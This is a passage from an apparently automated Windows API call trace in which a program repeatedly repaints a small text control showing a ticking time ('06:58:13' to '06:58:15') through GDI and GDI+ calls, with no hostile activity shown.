graphics=0x6924ef8, result=0x19e7c0) returned 0x0 [0171.702] GdipIsInfiniteRegion (region=0x69254c8, graphics=0x6924ef8, result=0x19e7b0) returned 0x0 [0171.702] GdipGetRegionHRgn (region=0x69254c8, graphics=0x6924ef8, hRgn=0x19e7b0) returned 0x0 [0171.702] GdipDeleteRegion (region=0x69254c8) returned 0x0 [0171.702] GdipGetDC (graphics=0x6924ef8, hdc=0x19e7c8) returned 0x0 [0171.702] GetCurrentObject (hdc=0x1c010742, type=0x1) returned 0xb00017 [0171.702] GetCurrentObject (hdc=0x1c010742, type=0x2) returned 0x900010 [0171.702] GetCurrentObject (hdc=0x1c010742, type=0x7) returned 0x8050721 [0171.703] GetCurrentObject (hdc=0x1c010742, type=0x6) returned 0x8a01c2 [0171.703] SaveDC (hdc=0x1c010742) returned 1 [0171.703] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfa0406fe [0171.703] GetClipRgn (hdc=0x1c010742, hrgn=0xfa0406fe) returned 0 [0171.703] SelectClipRgn (hdc=0x1c010742, hrgn=0x2f04070e) returned 2 [0171.703] DeleteObject (ho=0xfa0406fe) returned 1 [0171.703] DeleteObject (ho=0x2f04070e) returned 1 [0171.703] OffsetViewportOrgEx (in: hdc=0x1c010742, x=0, y=0, lppt=0x306d960 | out: lppt=0x306d960) returned 1 [0171.703] GetNearestColor (hdc=0x1c010742, color=0x22a3f8) returned 0x22a3f8 [0171.703] CreateSolidBrush (color=0x22a3f8) returned 0x3c10073a [0171.703] FillRect (hDC=0x1c010742, lprc=0x19e7cc, hbr=0x3c10073a) returned 1 [0171.703] DeleteObject (ho=0x3c10073a) returned 1 [0171.703] RestoreDC (hdc=0x1c010742, nSavedDC=-1) returned 1 [0171.703] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1c010742) returned 0x0 [0171.703] GdipRestoreGraphics (graphics=0x6924ef8, state=0xfd100dbd) returned 0x0 [0171.703] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0171.703] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0171.704] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0171.704] GetSystemMetrics (nIndex=42) returned 0 [0171.704] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:13") returned 8 [0171.704] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0171.704] GdipGetDC (graphics=0x6924ef8, hdc=0x19e7e8) returned 0x0 [0171.704] GetCurrentObject (hdc=0x1c010742, type=0x1) returned 0xb00017 [0171.704] GetCurrentObject (hdc=0x1c010742, type=0x2) returned 0x900010 [0171.704] GetCurrentObject (hdc=0x1c010742, type=0x7) returned 0x8050721 [0171.704] GetCurrentObject (hdc=0x1c010742, type=0x6) returned 0x8a01c2 [0171.704] SaveDC (hdc=0x1c010742) returned 1 [0171.704] GetNearestColor (hdc=0x1c010742, color=0x0) returned 0x0 [0171.704] RestoreDC (hdc=0x1c010742, nSavedDC=-1) returned 1 [0171.704] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1c010742) returned 0x0 [0171.705] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0171.705] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0171.705] GdipGetTextRenderingHint (graphics=0x6924ef8, mode=0x19e788) returned 0x0 [0171.705] GdipGetDC (graphics=0x6924ef8, hdc=0x19e774) returned 0x0 [0171.705] GetCurrentObject (hdc=0x1c010742, type=0x1) returned 0xb00017 [0171.705] GetCurrentObject (hdc=0x1c010742, type=0x2) returned 0x900010 [0171.705] GetCurrentObject (hdc=0x1c010742, type=0x7) returned 0x8050721 [0171.705] GetCurrentObject (hdc=0x1c010742, type=0x6) returned 0x8a01c2 [0171.705] SaveDC (hdc=0x1c010742) returned 1 [0171.705] GetTextAlign (hdc=0x1c010742) returned 0x0 [0171.705] GetTextColor (hdc=0x1c010742) returned 0x0 [0171.705] GetCurrentObject (hdc=0x1c010742, type=0x6) returned 0x8a01c2 [0171.705] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0171.705] SelectObject (hdc=0x1c010742, h=0x4f0a0711) returned 0x8a01c2 [0171.706] GetBkMode (hdc=0x1c010742) returned 2 [0171.706] SetBkMode (hdc=0x1c010742, mode=1) returned 2 [0171.706] DrawTextExW (in: hdc=0x1c010742, lpchText="06:58:13", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x306ddf4 | out: lpchText="06:58:13", lprc=0x19e708) returned 50 [0171.706] RestoreDC (hdc=0x1c010742, nSavedDC=-1) returned 1 [0171.706] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1c010742) returned 0x0 [0171.706] GdipGetDC (graphics=0x6924ef8, hdc=0x19e924) returned 0x0 [0171.706] BitBlt (hdc=0x10105d6, x=0, y=0, cx=154, cy=50, hdcSrc=0x1c010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0171.707] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1c010742) returned 0x0 [0171.707] GdipDeleteGraphics (graphics=0x6924ef8) returned 0x0 [0171.707] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0171.707] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0171.707] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0171.707] WaitMessage () returned 1 [0172.696] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0172.696] IsWindowUnicode (hWnd=0x50074) returned 1 [0172.696] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0172.696] TranslateMessage (lpMsg=0x19ee78) returned 0 [0172.696] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0172.696] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0172.696] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0172.697] GetSystemMetrics (nIndex=42) returned 0 [0172.697] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:13") returned 8 [0172.697] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0172.697] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0172.697] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0172.697] GetSystemMetrics (nIndex=42) returned 0 [0172.697] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:13") returned 8 [0172.697] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0172.697] SetWindowTextW (hWnd=0x20236, lpString="06:58:14") [0172.697] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x306de98) [0172.700] GetStockObject (i=5) returned 0x900015 [0172.700] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0172.700] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0172.700] GetSystemMetrics (nIndex=42) returned 0 [0172.700] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:14") returned 8 [0172.700] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0172.701] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0172.701] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0172.701] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:14", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x306e088 | out: lpchText="06:58:14", lprc=0x19e938) returned 50 [0172.701] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0172.701] IsWindowUnicode (hWnd=0x20236) returned 1 [0172.701] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0172.701] TranslateMessage (lpMsg=0x19ee78) returned 0 [0172.702] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0172.702] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0172.702] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0172.702] GdipCreateFromHDC (hdc=0x1d010742, graphics=0x19e8e4) returned 0x0 [0172.702] GdipTranslateWorldTransform (graphics=0x6924ef8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0172.702] GdipSetClipRectI (graphics=0x6924ef8, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0172.703] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0172.703] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6920828) returned 0x0 [0172.703] GdipIsMatrixIdentity (matrix=0x6920828, result=0x19e944) returned 0x0 [0172.703] GdipGetMatrixElements (matrix=0x6920828, matrixOut=0xf75bb0) returned 0x0 [0172.703] LocalFree (hMem=0xf75bb0) returned 0x0 [0172.703] GdipDeleteMatrix (matrix=0x6920828) returned 0x0 [0172.703] GdipCreateRegion (region=0x19e92c) returned 0x0 [0172.703] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0172.703] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e938) returned 0x0 [0172.703] GdipSaveGraphics (graphics=0x6924ef8, state=0x19e964) returned 0x0 [0172.703] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0172.703] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0172.703] GetSystemMetrics (nIndex=42) returned 0 [0172.703] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:14") returned 8 [0172.703] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0172.703] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0172.704] GdipCreateRegion (region=0x19e780) returned 0x0 [0172.704] GdipGetClip (graphics=0x6924ef8, region=0x69254c8) returned 0x0 [0172.704] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0172.704] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6915f08) returned 0x0 [0172.704] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0172.704] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0172.704] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0172.704] LocalFree (hMem=0xf75c20) returned 0x0 [0172.704] GdipCombineRegionRegion (region=0x69254c8, region2=0x69251d8, combineMode=0x1) returned 0x0 [0172.704] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0172.704] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0172.704] LocalFree (hMem=0xf75c20) returned 0x0 [0172.704] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0172.704] GdipIsInfiniteRegion (region=0x69254c8, graphics=0x6924ef8, result=0x19e7c0) returned 0x0 [0172.704] GdipIsInfiniteRegion (region=0x69254c8, graphics=0x6924ef8, result=0x19e7b0) returned 0x0 [0172.704] GdipGetRegionHRgn (region=0x69254c8, graphics=0x6924ef8, hRgn=0x19e7b0) returned 0x0 [0172.704] GdipDeleteRegion (region=0x69254c8) returned 0x0 [0172.704] GdipGetDC (graphics=0x6924ef8, hdc=0x19e7c8) returned 0x0 [0172.704] GetCurrentObject (hdc=0x1d010742, type=0x1) returned 0xb00017 [0172.705] GetCurrentObject (hdc=0x1d010742, type=0x2) returned 0x900010 [0172.705] GetCurrentObject (hdc=0x1d010742, type=0x7) returned 0x8050721 [0172.705] GetCurrentObject (hdc=0x1d010742, type=0x6) returned 0x8a01c2 [0172.705] SaveDC (hdc=0x1d010742) returned 1 [0172.705] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3004070e [0172.705] GetClipRgn (hdc=0x1d010742, hrgn=0x3004070e) returned 0 [0172.705] SelectClipRgn (hdc=0x1d010742, hrgn=0xfd0406fe) returned 2 [0172.705] DeleteObject (ho=0x3004070e) returned 1 [0172.705] DeleteObject (ho=0xfd0406fe) returned 1 [0172.705] OffsetViewportOrgEx (in: hdc=0x1d010742, x=0, y=0, lppt=0x306e458 | out: lppt=0x306e458) returned 1 [0172.705] GetNearestColor (hdc=0x1d010742, color=0x22a3f8) returned 0x22a3f8 [0172.705] CreateSolidBrush (color=0x22a3f8) returned 0x3d10073a [0172.705] FillRect (hDC=0x1d010742, lprc=0x19e7cc, hbr=0x3d10073a) returned 1 [0172.705] DeleteObject (ho=0x3d10073a) returned 1 [0172.705] RestoreDC (hdc=0x1d010742, nSavedDC=-1) returned 1 [0172.705] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1d010742) returned 0x0 [0172.705] GdipRestoreGraphics (graphics=0x6924ef8, state=0xfd0e0dbd) returned 0x0 [0172.706] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0172.706] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0172.706] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0172.706] GetSystemMetrics (nIndex=42) returned 0 [0172.706] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:14") returned 8 [0172.706] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0172.706] GdipGetDC (graphics=0x6924ef8, hdc=0x19e7e8) returned 0x0 [0172.706] GetCurrentObject (hdc=0x1d010742, type=0x1) returned 0xb00017 [0172.706] GetCurrentObject (hdc=0x1d010742, type=0x2) returned 0x900010 [0172.706] GetCurrentObject (hdc=0x1d010742, type=0x7) returned 0x8050721 [0172.706] GetCurrentObject (hdc=0x1d010742, type=0x6) returned 0x8a01c2 [0172.706] SaveDC (hdc=0x1d010742) returned 1 [0172.706] GetNearestColor (hdc=0x1d010742, color=0x0) returned 0x0 [0172.706] RestoreDC (hdc=0x1d010742, nSavedDC=-1) returned 1 [0172.706] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1d010742) returned 0x0 [0172.707] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0172.707] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0172.707] GdipGetTextRenderingHint (graphics=0x6924ef8, mode=0x19e788) returned 0x0 [0172.707] GdipGetDC (graphics=0x6924ef8, hdc=0x19e774) returned 0x0 [0172.707] GetCurrentObject (hdc=0x1d010742, type=0x1) returned 0xb00017 [0172.707] GetCurrentObject (hdc=0x1d010742, type=0x2) returned 0x900010 [0172.707] GetCurrentObject (hdc=0x1d010742, type=0x7) returned 0x8050721 [0172.707] GetCurrentObject (hdc=0x1d010742, type=0x6) returned 0x8a01c2 [0172.707] SaveDC (hdc=0x1d010742) returned 1 [0172.707] GetTextAlign (hdc=0x1d010742) returned 0x0 [0172.707] GetTextColor (hdc=0x1d010742) returned 0x0 [0172.707] GetCurrentObject (hdc=0x1d010742, type=0x6) returned 0x8a01c2 [0172.707] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0172.708] SelectObject (hdc=0x1d010742, h=0x4f0a0711) returned 0x8a01c2 [0172.708] GetBkMode (hdc=0x1d010742) returned 2 [0172.708] SetBkMode (hdc=0x1d010742, mode=1) returned 2 [0172.708] DrawTextExW (in: hdc=0x1d010742, lpchText="06:58:14", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x306e8ec | out: lpchText="06:58:14", lprc=0x19e708) returned 50 [0172.708] RestoreDC (hdc=0x1d010742, nSavedDC=-1) returned 1 [0172.708] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1d010742) returned 0x0 [0172.708] GdipGetDC (graphics=0x6924ef8, hdc=0x19e924) returned 0x0 [0172.708] BitBlt (hdc=0x10105d6, x=0, y=0, cx=154, cy=50, hdcSrc=0x1d010742, x1=0, y1=0, rop=0xcc0020) returned 1 [0172.709] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1d010742) returned 0x0 [0172.709] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0172.709] SelectObject (hdc=0x1d010742, h=0x85000f) returned 0x8050721 [0172.709] DeleteDC (hdc=0x1d010742) returned 1 [0172.709] GdipDeleteGraphics (graphics=0x6924ef8) returned 0x0 [0172.709] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0172.709] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0172.709] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0172.709] WaitMessage () returned 1 [0173.704] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0173.704] IsWindowUnicode (hWnd=0x50074) returned 1 [0173.704] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0173.704] TranslateMessage (lpMsg=0x19ee78) returned 0 [0173.704] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0173.705] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0173.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0173.705] GetSystemMetrics (nIndex=42) returned 0 [0173.705] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:14") returned 8 [0173.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0173.705] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0173.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0173.705] GetSystemMetrics (nIndex=42) returned 0 [0173.705] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:14") returned 8 [0173.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0173.705] SetWindowTextW (hWnd=0x20236, lpString="06:58:15") returned 1 [0173.705] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x306e990) returned 0x1 [0173.705] GetStockObject (i=5) returned 0x900015 [0173.705] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0173.705] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0173.706] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0173.706] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0173.706] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0173.706] GetSystemMetrics (nIndex=42) returned 0 [0173.706] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:15") returned 8 [0173.706] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0173.706] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0173.706] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0173.707] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:15", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x306eb64 | out: lpchText="06:58:15", lprc=0x19e938) returned 50 [0173.707] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0173.707] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0173.707] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.707] GetSystemMetrics (nIndex=42) returned 0 [0173.707] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0173.707] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0173.707] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0173.707] IsWindowUnicode (hWnd=0x20236) returned 1 [0173.707] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0173.707] TranslateMessage (lpMsg=0x19ee78) returned 0 [0173.707] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0173.707] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0173.708] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0173.708] CreateCompatibleDC (hdc=0x10105d6) returned 0x1e010742 [0173.708] SelectObject (hdc=0x1e010742, h=0x8050721) returned 0x85000f [0173.708] GdipCreateFromHDC (hdc=0x1e010742, graphics=0x19e8e4) returned 0x0 [0173.708] GdipTranslateWorldTransform (graphics=0x6924ef8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0173.708] GdipSetClipRectI (graphics=0x6924ef8, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0173.708] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0173.708] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6920828) returned 0x0 [0173.708] GdipIsMatrixIdentity (matrix=0x6920828, result=0x19e944) returned 0x0 [0173.709] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0173.709] GdipGetMatrixElements (matrix=0x6920828, matrixOut=0xf75bb0) returned 0x0 [0173.709] LocalFree (hMem=0xf75bb0) returned 0x0 [0173.709] GdipDeleteMatrix (matrix=0x6920828) returned 0x0 [0173.709] GdipCreateRegion (region=0x19e92c) returned 0x0 [0173.709] GdipGetClip (graphics=0x6924ef8, region=0x69251d8) returned 0x0 [0173.709] GdipIsInfiniteRegion (region=0x69251d8, graphics=0x6924ef8, result=0x19e938) returned 0x0 [0173.709] GdipSaveGraphics (graphics=0x6924ef8, state=0x19e964) returned 0x0 [0173.709] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0173.709] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0173.709] GetSystemMetrics (nIndex=42) returned 0 [0173.709] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:15") returned 8 [0173.709] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0173.709] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0173.709] GdipCreateRegion (region=0x19e780) returned 0x0 [0173.709] GdipGetClip (graphics=0x6924ef8, region=0x69254c8) returned 0x0 [0173.709] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0173.709] GdipGetWorldTransform (graphics=0x6924ef8, matrix=0x6915f08) returned 0x0 [0173.709] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0173.710] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0173.710] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0173.710] LocalFree (hMem=0xf75bb0) returned 0x0 [0173.710] GdipCombineRegionRegion (region=0x69254c8, region2=0x69251d8, combineMode=0x1) returned 0x0 [0173.710] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0173.710] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0173.710] LocalFree (hMem=0xf75be8) returned 0x0 [0173.710] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0173.710] GdipIsInfiniteRegion (region=0x69254c8, graphics=0x6924ef8, result=0x19e7c0) returned 0x0 [0173.710] GdipIsInfiniteRegion (region=0x69254c8, graphics=0x6924ef8, result=0x19e7b0) returned 0x0 [0173.710] GdipGetRegionHRgn (region=0x69254c8, graphics=0x6924ef8, hRgn=0x19e7b0) returned 0x0 [0173.710] GdipDeleteRegion (region=0x69254c8) returned 0x0 [0173.710] GdipGetDC (graphics=0x6924ef8, hdc=0x19e7c8) returned 0x0 [0173.710] GetCurrentObject (hdc=0x1e010742, type=0x1) returned 0xb00017 [0173.710] GetCurrentObject (hdc=0x1e010742, type=0x2) returned 0x900010 [0173.710] GetCurrentObject (hdc=0x1e010742, type=0x7) returned 0x8050721 [0173.710] GetCurrentObject (hdc=0x1e010742, type=0x6) returned 0x8a01c2 [0173.711] SaveDC (hdc=0x1e010742) returned 1 [0173.711] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfe0406fe [0173.711] GetClipRgn (hdc=0x1e010742, hrgn=0xfe0406fe) returned 0 [0173.711] SelectClipRgn (hdc=0x1e010742, hrgn=0x3304070e) returned 2 [0173.711] DeleteObject (ho=0xfe0406fe) returned 1 [0173.711] DeleteObject (ho=0x3304070e) returned 1 [0173.711] OffsetViewportOrgEx (in: hdc=0x1e010742, x=0, y=0, lppt=0x306ef34 | out: lppt=0x306ef34) returned 1 [0173.711] GetNearestColor (hdc=0x1e010742, color=0x22a3f8) returned 0x22a3f8 [0173.711] CreateSolidBrush (color=0x22a3f8) returned 0x3e10073a [0173.711] FillRect (hDC=0x1e010742, lprc=0x19e7cc, hbr=0x3e10073a) returned 1 [0173.711] DeleteObject (ho=0x3e10073a) returned 1 [0173.711] RestoreDC (hdc=0x1e010742, nSavedDC=-1) returned 1 [0173.711] GdipReleaseDC (graphics=0x6924ef8, hdc=0x1e010742) returned 0x0 [0173.712] GdipRestoreGraphics (graphics=0x6924ef8, state=0xfd0c0dbd) returned 0x0 [0173.712] GdipDeleteRegion (region=0x69251d8) returned 0x0 [0173.712] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0173.712] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0173.712] GetSystemMetrics (nIndex=42) returned 0 [0173.712] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:15") returned 8 [0173.712] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0173.712] GdipGetDC (graphics=0x6924ef8, hdc=0x19e7e8) returned 0x0 [0173.712] GetCurrentObject (hdc=0x1e010742, type=0x1) returned 0xb00017 [0173.712] GetCurrentObject (hdc=0x1e010742, type=0x2) returned 0x900010 [0173.712] GetCurrentObject (hdc=0x1e010742, type=0x7) returned 0x8050721 [0173.712] GetCurrentObject (hdc=0x1e010742, type=0x6) returned 